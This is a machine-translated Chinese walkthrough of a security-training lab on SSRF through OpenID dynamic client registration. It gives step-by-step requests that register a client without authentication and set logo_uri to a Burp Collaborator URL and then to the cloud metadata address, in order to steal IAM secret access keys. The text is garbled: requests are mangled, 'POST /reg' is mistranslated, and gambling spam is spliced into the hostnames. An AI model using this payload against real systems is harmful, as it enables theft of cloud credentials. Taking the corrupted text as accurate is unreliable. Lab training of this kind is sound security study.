实验室:通过OpenID动态客户端注册SSRF
从业者
此实验室允许客户端应用程序动态注册OAuth.通过专用注册端点服务。某些客户端特定的数据由OAuth服务以不安全的方式使用,该数据公开了SSRF的潜在向量。
解决实验室,工艺SSRF攻击访问http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/
并窃取OAuth提供程序的云环境的秘密访问密钥。
您可以使用以下凭据登录您自己的帐户:维纳:彼得
笔记
为防止学院平台用于攻击第三方,我们的防火墙会阻止实验室和任意外部系统之间的交互。要解决实验室,必须使用Burp Collaborator的默认公共服务器(Burpcollaborator.net.
)。
解决方案
- 通过Burp代理流量,登录您自己的帐户。浏览到
https://your-lab-oauth-server.beplay体育能用吗web-security-academy.net/.well-known/openid-configuration.
访问配置文件。请注意,客户登记端点位于/ reg.
。
在Burp Repeater中,创建一个合适的邮政
请求使用OAuth服务注册自己的客户端应用程序。你必须至少提供一个redirect_uris.
数组包含假申请的任意白名单的回调URI。例如:
post / reg http / 1.1主机:your-lab-oauth-server.wbeplay体育能用吗eb-security-academy.net content-type:application / json {“redirect_uris”:[“https://example.com”]}
- 发送请求。观察您现在已成功注册了自己的客户端应用程序,而无需任何身份验证。响应包含与新客户端应用程序关联的各种元数据,包括新的客户端应用程序
client_id.
。
- 使用Burp,审核OAuth流程并注意用户对所请求权限的“授权”页面显示客户端应用程序的徽标。这是从中获取的
/客户端/客户端ID /徽标
。我们从中知道Openid.规范客户端应用程序可以使用徽标提供URLlogo_uri.
动态注册期间的财产。发送get / client / client-id / logo
请求Burp中继器。
- 从“Burp”菜单中,打开Burp Collaborator客户端,然后单击“复制到剪贴板”以复制您的协作器URL。留下协作者对话框立即打开。
在中继器中,回到发布/瑞典语
请求您之前创建的。添加logo_uri.
属性并将协作器URL粘贴为其值。最终请求应该如下所示:
post / reg http / 1.1主机:your-lab-oauth-server.wbeplay体育能用吗eb-security-academy.net content-type:application / json {“redirect_uris”:[https://example.com“],”logo_uri“:“https://your-collaborator -id.burpcollaborator.net”}
- 发送请求以注册新的客户端应用程序并复制
client_id.
从响应。
- 在中继器中,去
get / client / client-id / logo
要求。更换客户ID
在与新的路径中,您刚刚复制并发送请求。
- 转到Burp Collaborator客户端对话框并检查任何新的交互。请注意,尝试尝试获取不存在的徽标的HTTP交互。这确认您可以成功使用
logo_uri.
属性从OAuth服务器引出请求。
回到发布/瑞典语
请求中继器并更换当前logo_uri.
目标URL的值:
“logo_uri”:“http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/”
- 发送此请求并复制新
client_id.
从响应。
- 回到
get / client / client-id / logo
请求并更换client_id.
随着你刚刚复制的新人。发送此请求。观察到响应包含OAuth提供程序的云环境的敏感元数据,包括秘密访问密钥。
- 使用“提交解决方案”按钮提交访问密钥并解决实验室。